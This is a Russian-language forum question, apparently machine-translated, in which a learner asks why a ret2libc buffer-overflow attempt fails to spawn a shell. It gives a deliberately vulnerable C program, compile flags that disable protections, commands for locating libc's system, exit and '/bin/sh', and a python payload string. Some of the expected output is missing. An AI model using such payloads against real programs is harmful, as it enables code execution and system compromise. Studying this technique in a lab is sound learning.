Я пытаюсь изучить технику атаки переполнения буфера ret2lib c c. Поэтому, как новичок в этой технике c, я столкнулся с «Сегментацией», когда попытался выполнить свою полезную нагрузку. Внутри GDB я не получил ошибку сегментации, но все равно у меня нет запущенной оболочки Подробнее см.
Мой уязвимый код приложения:
#include<stdio.h>
#include<string.h>
void evil(char* input)
{
char buffer[500];
strcpy(buffer,input); //Vulnerablefunction!
printf("Bufferstored!\n");
printf("Bufferis:%s\n\n",input);
}
int main(int argc, char** argv)
{
evil(argv[1]);
return 0;
}
Чтобы скомпилировать код, я использовал следующую команду:
gcc -o ret2libc ret2libc.c -fno-stack-protector -no-pie -Wall -z relro -z now -z noexecstack
Checkse c info:
ASLR ON :
Получение lib c ' system ':
readelf -s "/lib/x86_64-linux-gnu/libc.so.6" | grep "system"
Я беру адрес памяти: 0x0000000000046ed0
Получение lib c ' выход ':
readelf -s "/lib/x86_64-linux-gnu/libc.so.6" | grep "exit"
Я беру адрес памяти: 0x000000000003c720
Получение " / bin / sh":
strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh
Я беру адрес памяти: 0x183cee
Чтобы найти базовый адрес lib c Я использую следующие команды:
Я беру адрес памяти сс: 0x00007ffff7dee000
Маленькая математика:
Моя полезная нагрузка:
python -c 'print "A" * 520 + "\xd0\x4e\xe3\xf7\xff\x7f" + "\x20\xa7\xe2\xf7\xff\x7f" + "\xee\x1c\xf7\xf7\xff\x7f"'
Когда я запускаю свою полезную нагрузку внутри GDB, я получаю:
Когда я пытаюсь выполнить полезную нагрузку во второй раз, не выходя из GDB, я получаю:
Выполнение полезной нагрузки вне GDB:
Спасибо заранее всем, кто может помочь